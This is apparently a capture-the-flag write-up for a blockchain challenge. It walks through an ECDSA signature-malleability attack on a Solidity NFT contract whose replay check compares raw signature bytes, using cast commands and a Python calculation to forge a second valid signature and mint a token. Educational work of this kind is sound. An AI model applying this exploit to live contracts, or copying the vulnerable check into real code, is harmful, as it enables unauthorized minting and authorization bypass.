Confidentiality
5 minutes to read
We are given a Solidity file called AccessToken.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {ERC721} from "./lib/ERC721.sol";
import {Owned} from "./lib/Owned.sol";
contract AccessToken is ERC721, Owned {
uint256 public currentSupply;
bytes[] public usedSignatures;
bytes32 public constant approvalHash = 0x4ed1c9f7e3813196653ad7c62857a519087860f86aff4bc7766c8af8756a72ba;
constructor(address _owner) Owned(_owner) ERC721("AccessToken", "ACT") {}
function safeMint(address to) public onlyOwner returns (uint256) {
return _safeMintInternal(to);
}
function safeMintWithSignature(bytes memory signature, address to) external returns (uint256) {
require(_verifySignature(signature), "Not approved");
require(!_isSignatureUsed(signature), "Signature already used");
usedSignatures.push(signature);
return _safeMintInternal(to);
}
function _verifySignature(bytes memory signature) internal view returns (bool) {
(uint8 v, bytes32 r, bytes32 s) = deconstructSignature(signature);
address signer = ecrecover(approvalHash, v, r, s);
return signer == owner;
}
function _isSignatureUsed(bytes memory _signature) internal view returns (bool) {
for (uint256 i = 0; i < usedSignatures.length; i++) {
if (keccak256(_signature) == keccak256(usedSignatures[i])) {
return true;
}
}
return false;
}
function _safeMintInternal(address to) internal returns (uint256) {
currentSupply += 1;
_safeMint(to, currentSupply);
return currentSupply;
}
// ##### Signature helper utilities
// utility function to deconstruct a signature returning (v, r, s)
function deconstructSignature(bytes memory signature) public pure returns (uint8, bytes32, bytes32) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
/// @solidity memory-safe-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return (v, r, s);
}
function constructSignature(uint8 v, bytes32 r, bytes32 s) public pure returns (bytes memory) {
return abi.encodePacked(r, s, v);
}
}
And there is another file called Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;
import {AccessToken} from "./AccessToken.sol";
contract Setup {
AccessToken public immutable TARGET;
constructor(address _owner, bytes memory signature) {
TARGET = new AccessToken(_owner);
// Secure 1 AccessToken for myself
TARGET.safeMintWithSignature(signature, address(this));
}
function isSolved(address _player) public view returns (bool) {
return TARGET.balanceOf(_player) > 0;
}
}
There are two more files that contain third-party functions that are supposed to be secure. They have to do with Non-Fungible Tokens (NFT) and the ERC-721.
There is also a remote instance where we will get connection parameters to the Blockchain:
$ nc 206.189.28.151 30704
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xbd69a78cb850a75ab437a33d01cac4b3dfb6d8751349529e68fd4e668fbe2e94
Address : 0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e
Target contract : 0xFD92614FB1DC9568857227e22e8DcCCdBaDEa999
Setup contract : 0xE1F1Eb50176b1665A23e1799D4D1dB2DdADf39eC
Setup environment
First of all, let’s save the connection parameters as shell variables:
$ PRIVATE_KEY='0xbd69a78cb850a75ab437a33d01cac4b3dfb6d8751349529e68fd4e668fbe2e94'
$ ADDRESS='0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e'
$ ADDRESS_TARGET='0xFD92614FB1DC9568857227e22e8DcCCdBaDEa999'
$ ADDRESS_SETUP='0xE1F1Eb50176b1665A23e1799D4D1dB2DdADf39eC'
$ export ETH_RPC_URL='http://206.189.28.151:31978'
Source code analysis
The purpose of this challenge is to sign a new AccessToken
for us. In the Setup.sol
file, we see that isSolved
will return true
when TARGET.balanceOf(_player) > 0
. The TARGET
address is an instance of AccessToken
.
We can only interact with a few functions of TARGET
. For instance, we cannot call safeMint
because there is a onlyOwner
modifier (inside Owned.sol
), which only allows calling this function from the owner
address:
$ cast call $ADDRESS_TARGET 'owner() (address)'
0x87Ca2B18a1C9D8a3648cc86c40897e3c1387e0c7
$ echo $ADDRESS
0x25a115E5C0d5908C90c5672Eb5aAf9846660D82e
So, we can only interact with safeMintWithSignature
, deconstructSignature
and constructSignature
. Notice that we can find the signature generated by the Setup
Smart Contract at the beginning:
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
The security flaw
We are not able to create a new signature because we are missing the private key. It is well-known that in Ethereum, the signature algorithm is ECDSA with secp256k1 curve. This signature algorithm works with an elliptic curve as follows:
In order to sign a message $m$, it uses a generator point $G$ and hash function $H$. Then, the program computes:
$$ h = H{(m)} $$
$$ r = (k \cdot G)_\mathrm{x} $$
$$ s = k^{-1} \cdot \left(h + x \cdot r\right) \mod{n} $$
Where $n$ is the order of the curve, $x$ is the private key and $k$ is a carefully-chosen random nonce value. The signature output is the tuple $(r, s)$.
In Ethereum, it is common to add another value $v$ that indicates one of the two possible signatures. There are usually two possible values for $v$, which are $27$ (0x1b
) or $28$ (0x1c
). This happens because, in an elliptic curve, there are two possible points with the same $\mathrm{x}$ coordinate, resulting in two valid signatures for the same message and private key.
As a result, having one signature $(v, r, s)$, we can find another valid signature $(v’, r, s’)$ for the same message and private key, where $v’$ is the other possible value (0x1b
or 0x1c
) and $s’ = n - s$. This is called signature malleability.
Once we have this alternative valid signature, we can call safeMintWithSignature
and obtain an AccessToken
for our address. Therefore, we will find some balance in our account and we will solve the challenge.
Implementation
Let’s take the signature again and parse it with deconstructSignature
:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
false
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
$ cast call $ADDRESS_TARGET 'deconstructSignature(bytes memory) (uint8, bytes32, bytes32)' 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
27
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188
0x5aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c
Now, let’s calculate the alternative signature:
$ python3 -q
>>> from ecdsa import SECP256k1
>>> n = SECP256k1.order
>>> s = 0x5aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c
>>> hex(n - s)
'0xa55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e5'
At this point, we can construct the new signature with constructSignature
:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
false
$ cast call $ADDRESS_TARGET 'usedSignatures(uint) (bytes)' 0
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d7181885aac7e45023811280901066c46149009feb728e1cdaa9351b746682f7172dc5c1b
$ cast call $ADDRESS_TARGET 'constructSignature(uint8, bytes32, bytes32) (bytes memory)' 28 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188 0xa55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e5
0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188a55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e51c
Finally, we call safeMintWithSignature
:
$ cast send $ADDRESS_TARGET 'safeMintWithSignature(bytes memory, address)' 0xeefb4d6e5433e93780d9a7dcef2333e274102b8b98cbedadcbe6ac102d718188a55381bafdc7eed7f6fef993b9eb6ff4bbf7b404e19e0cea088bf65d5ec364e51c $ADDRESS --private-key $PRIVATE_KEY
blockHash 0x2a1437d6eeb919148968b76e0f8adea79b06e7ef49c04ba6dadd78a577bfbf51
blockNumber 2
contractAddress
cumulativeGasUsed 185202
effectiveGasPrice 3000000000
gasUsed 185202
logs [{"address":"0xfd92614fb1dc9568857227e22e8dcccdbadea999","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000025a115e5c0d5908c90c5672eb5aaf9846660d82e","0x0000000000000000000000000000000000000000000000000000000000000002"],"data":"0x","blockHash":"0x2a1437d6eeb919148968b76e0f8adea79b06e7ef49c04ba6dadd78a577bfbf51","blockNumber":"0x2","transactionHash":"0x2672eec0bb2948ee36e363e8973bd0e1b6d1584d000019a0fb86ddb4986b087e","transactionIndex":"0x0","logIndex":"0x0","transactionLogIndex":"0x0","removed":false}]
logsBloom 0x04000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000001000000000000000000000000000000020000000000000000000800000000000000008000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000002000000000000000008000000000000000000000000000000000020000000000000000000000000000100000000000000008000000000000200000000
root
status 1
transactionHash 0x2672eec0bb2948ee36e363e8973bd0e1b6d1584d000019a0fb86ddb4986b087e
transactionIndex 0
type 2
Flag
And now the challenge is solved:
$ cast call $ADDRESS_SETUP 'isSolved(address) (bool)' $ADDRESS
true
$ nc 206.189.28.151 30704
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{519n47u23_m4113481117y_91v35_4u7h021235_4cc3551}